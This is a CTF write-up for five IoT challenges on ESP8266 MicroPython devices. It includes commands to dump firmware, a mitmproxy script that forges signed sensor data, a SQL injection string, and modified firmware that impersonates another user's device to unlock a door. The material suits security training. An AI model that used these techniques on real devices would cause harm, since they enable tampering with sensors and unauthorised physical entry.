Cyber Security Challenge Australia 2017

IoT ESP8266 Solutions

Sponsored By

Australian Government

HackLabs

CISCO

IT'S HOW WE CONNECT

pwc

Microsoft

splunk>

facebook

CommonwealthBank

BAE SYSTEMS

Table of Contents

Challenge 1: Take a Peak

Challenge Description

Check out the firmware, we wonder what you can find.

Designed Solution

Players dump firmware, mount the filesystem and read the source code to find the flag

Writeup

Since we were given information that these challenges will be based on MicroPython we started searching for MicroPython GitHub/documentation online. Something we found was that MicroPython creates a virtual filesystem on the device, and that the code map on the virtual filesystem starts at the `0x90000` offset.

During my search, we found a good tool that gives us a way to communicate with the device:

ESP tool (`https://github.com/espressif/esptool`)
Specifically the interesting commands are `read_flash` which is a nice way to dump the flash.

If we dump the flash from `0x90000` for a length of `0x100000`

```
root@Bread:~/ctf#python esptool.py --port /dev/ttyUSB0 --baud 115200 read_flash 0x90000 0x100000 filesystem.bin
```

we can then mount the output as a FAT filesystem since we are getting the code mapping section from the device.

```
root@Bread:~/ctf#Mount -o loop filesystem.bin /mnt/tmp
```

Now we can Explore the mounted filesystem (`/mnt/tmp`) and when we look at the file `main.py` we see this section (`self.signing_key`) with a comment above it saying we should know what it is.

the `self.signing_key` is the flag.

Challenge 2: Whoop Whoop Whoop

Challenge Description

Trigger the Fire Alarm.

Note: The FLAG will be displayed on the webpage or the serial console

Warning: DO NOT do this by setting the device on Fire

Designed Solution

Using mitmproxy to intercept the requests made by the device, it's possible to make a modification to the humidity value and wait for a response. This returns that the signature isn't valid so additional steps are required to sign the modified JSON data. the flag we be returned to mitmproxy or viewable on the `tempsensor.cysca` page.

Writeup

After installing the new firmware, we can use the method from Challenge 1 to dump the filesystem again,
Giving us a way to see how the POST messages are created.
Additionally, we can extract the python files from the dump using binwalk.

1. view and extract the python file from the mem dump

```
root@Bread:~/ctf#binwalk --dd='.*' original.bin
```

2. set up mitm proxy

```
root@Bread:~/ctf#iptables -t nat -A PREROUTING -we wlan0 -p tcp --dport 80 -j
REDIRECT --to-port 8080
```

3. create an inline script for mitmproxy

3.a. copy the signing function across from extracted python file

```
#######################################################
         Modify.py
#######################################################
import hashlib
import binascii
import json

# ripped from dumped flash
def sign(jsondata):
        data = bytearray("FLAG"+jsondata)
        hash = hashlib.sha1(data)
        hash = binascii.hexlify(hash.digest()).decode("utf-8")
        signature = hash.upper()
        return signature

def request(flow):
    form = flow.request.urlencoded_form
    if form is not None:
       # load json
      dump = json.loads(form["data"])
      # modify temperature
      dump["TEMPERATURE"] = "501.1"
      # use modified values
        form["data"] = json.dumps(dump)
        form["signature"] = sign(form["data"])
        # reform flow
        flow.request.urlencoded_form = form
```

4. run mitmproxy with script

```
root@Bread:~/ctf#mitmproxy -T --host -s ./modify.py
```

5. view response or view page to see flag.

```
FLAG is flag{IOT_FLAG_2}
```

Challenge 3: In Certs we Trust

Challenge Description

Certificates can be so difficult to handle properly.

Location: http://doorctrl.cysca

Username: testuser[1-9]
Password: password

Designed Solution

The Intended solution for this challenge was to Man in the Middle the TLS connection.

The device uses a self-signed certificate and does not validate the certificate client side. There are several ways to do this using SSL Split to intercept all traffic. Once done it's possible to see the message received from flag3 when the device starts up.

Another solution would be to spoof the DNS so that traffic from the device was directed at the players kalwe machine. A script can then be written to accept connections and pass the messages on to the real MQTT broker. Allowing the interception of each packet. Unfortunately, the solution script using this method was lost but will be provided if there is a chance to rewrite it.

Writeup

Using the following credentials `testuser1` and `password`, we set up a group called `test` with the pin `1234`.

we also took note of the MAC address `dooropener A0:20:A6:15:95:F8`

Using the method from Challenge 1 again the filesystem can be downloaded and mounted. This allows us to make some small changes to the script by modifying it to add a print out of flag3 option.

This was done by adding the following code near where device is printing FLAG5.

```
if topic == "FLAG3":
    print(full_row)
    print("#{:^58}#".format("FLAG3"))
    print("#{:^58}#".format(msg))
    print(full_row)
```

The firmware can then be rewrite to the device using:

```
root@Bread:~/ctf#./esptool write_flash 0x90000 filename.bin
```

after a little wait, we get the flag:

```
FLAG is flag{IOT_FLAG_2}
```

Challenge 4: Sanitize All Inputs

Challenge Description

Even Hardware input needs sanitising.

Note: The FLAG will be displayed on the webpage.

Designed Solution

SQL injection into the root name field from the door locked device

Writeup

Using the same method from Challenge 1 to dump memory from `0x90000` for 10000 blocks we can use mount the filesystem and start looking around:

```
root@Bread:~/ctf#losetup /dev/loop1 mountabledooropener.bin
```

Reading the code and fiddling with some of the inputs we noticed there is a SQL injection on device. Modifying the <file> we can inject into the root name field on the website:

```
TESTUSER1|||' OR '1=1|||1234|||NEW|||
```

This allows us to see all the users that have set up devices.

```
FLAG is flag{IOT_FLAG_4}
```

Challenge 5: Not the Lock You're Looking For

Challenge Description

Open the door belonging to the Director of Data Engineering.

Note: The FLAG will be displayed on the device.

Designed Solution

Dump firmware, rewrite values to masquerade as `SARAH:BURNS` device

Writeup

One of the Users using this device from the SQL injection dump in Challenge 5 is:

```
SARAH.BURNS 60:11:34:11:AF:1D          DOORLOCK
SARAH.BURNS 60:11:34:11:7D:44          DOOROPENER
group: FrontDoor
```

And Since the object is to masquerade as `SARAH.BURNS` and we have the filesystem mounted, we can hardcode these parameters to our device.
Looking at the micro python code it doesn't look to hard and we should be able to fake being `SARAH.BURNS's` dooropener and send the unlock command.

This means in the dooropener function we hardcode:

- `self.group = "FrontDoor"`
- `self.mac = "60:11:34:11:7D:44"`

The final modified binary looks like this:

```
#####################################################
# Modified.bin
#####################################################
from time import sleep_ms
from umqtt.robust import MQTTClient
from helper import checkstr
from os import remove
from machine import Timer
import doorsetup
import mqttpasswd
import gc
import messages

del (rtc)

class dooropener():
    def __init__(self):
        global wifictrl
        global io
        self.server = "doorctrl.cysca"
        self.port = 8883
        self.mac = "60:11:34:11:7D:44"
        del (wifictrl)
        self.group = "FrontDoor"

        self.type = "DOOROPENER"
        self.newsetup = False
        self.subnewgroup = False
        self.bp = False
        self.state = "LOCKED"

        if not self.loaduser():
            un, grp, pin = doorsetup.setup(self.type, self.mac)
            self.username = un
            with open("username.txt", "w") as fh:
                fh.write(self.username)
            print("Config Saved, Rebooting")
            machine.reset()
            sleep_ms(250)

        self.group_base = "%s/%s/%s/" % (self.username, self.mac, self.group)
        # self.subnewgroup = True

        # self.group_base = ""
        self.passwd = mqttpasswd.genpw(self.mac, self.username)
        self.client = MQTTClient(self.mac, self.server, self.port, self.mac, self.passwd, 0, ssl=True)
        self.client.set_callback(self.on_message)

    def loaduser(self):
        try:
            self.username = open("username.txt", "r").read().strip()
```

```
            return True
        except:
            return False

    def connect(self):
        try:
            c = self.client.connect(clean_session=True)
            if c == 0:
                return True
            else:
                print(c)
                return False
        except Exception as e:
            print(e)
            return False

    def on_message(self, topic, msg):
        full_row = "#" * 60
        topic = topic.decode("UTF-8")
        msg = msg.decode("UTF-8")
        print(msg)
        if debug:
            print("%s: %s" % (topic, msg))

        if topic == "FLAG5":
            print(full_row)
            print("#{:^58}#".format("FLAG5"))
            print("#{:^58}#".format(msg))
            print(full_row)

        if topic == "%s/%s/error" % (self.username, self.mac):
            print("ERROR: %s" % msg)

        # if topic == "%s/%s/group"%(self.username,self.mac):
        #     self.group = msg
        #     if self.group != "":
        #         self.group_base = "%s/%s/%s/"%(self.username,self.mac,self.group)
        #         self.subnewgroup = True
        #         print("Group Updated to: %s"%self.group)
        #     else:
        #         print("Device Removed from Group")

        if topic == self.group_base + "state":
            if msg == "UNLOCKED":
                self.state = "UNLOCKED"
                io.reset_all()
                io.setled_on("green")
            else:
                self.state = "LOCKED"
                io.reset_all()
                io.setled_on("red")
            print("DoorLock is now %s" % self.state)
        gc.collect()

    def sub(self, topic):
        self.client.subscribe(bytes(topic, 'utf-8'), 1)

    def pub(self, topic, msg, retain=False):
        self.client.publish(bytes(topic, 'utf-8'), bytes(msg, 'utf-8'), retain, 1)

    def loop(self):
        tim = Timer(-1)
        tim.init(period=1000, mode=Timer.PERIODIC, callback=lambda t: self.client.ping())
        while 1:
            if self.bp:
                self.update()
                # if(self.subnewgroup):
            #     try:
            #         self.sub(self.group_base+"state")
            #         self.subnewgroup = False
            #     except:
            #         print("Invalid Group, Check Web Interface")
            #         input("Press enter to reboot")
            #         machine.reset()
            #         sleep_ms(250)
            self.client.wait_msg()

    def update(self):
        print("Sending Update")
        if self.group == "":
            print("A Group has not yet been configured for this device")
            print("Make sure this device has been added to a group in the web interface")
            self.bp = False
            return False
        if self.state == "UNLOCKED":
            self.pub(self.group_base + "command", "LOCK")
            print("Sending LOCK Message")
        else:
            self.pub(self.group_base + "command", "UNLOCK")
            print("Sending Unlock Message")
        io.reset_all()
        io.setled_on("blue")
        self.bp = False
        gc.collect()
```

```
    def btnpress(self, pin=None):
        print("Button Pressed")
        if not self.bp:
            self.bp = True

    def suball(self):
        self.sub("FLAG3")
        self.sub("FLAG5")
        self.sub("%s/%s/group" % (self.username, self.mac))
        self.sub("%s/%s/error" % (self.username, self.mac))

    def run(self):
        gc.collect()
        print("Attempting to Connect to MQTT Server")
        if self.connect():
            print("Connection Successful")
            self.suball()
            io.button["main"].irq(trigger=machine.Pin.IRQ_FALLING, handler=self.btnpress)
            print(self.type + " Online")
            self.loop()
        else:
            messages.print_CNC()
            messages.print_reset()
            a = input("command: ").strip()
            if a.lower() == "reset":
                try:
                    remove("username.txt")
                except:
                    pass
            machine.reset()
            sleep_ms(250)


debug = False
do = dooropener()
if not debug:
    while True:
        try:
            do.run()
        except Exception as e:
            print(e)
else:
    do.run()
```

And after running the modified version we can unlock the door.

`FLAG is flag{IOT_FLAG_5}`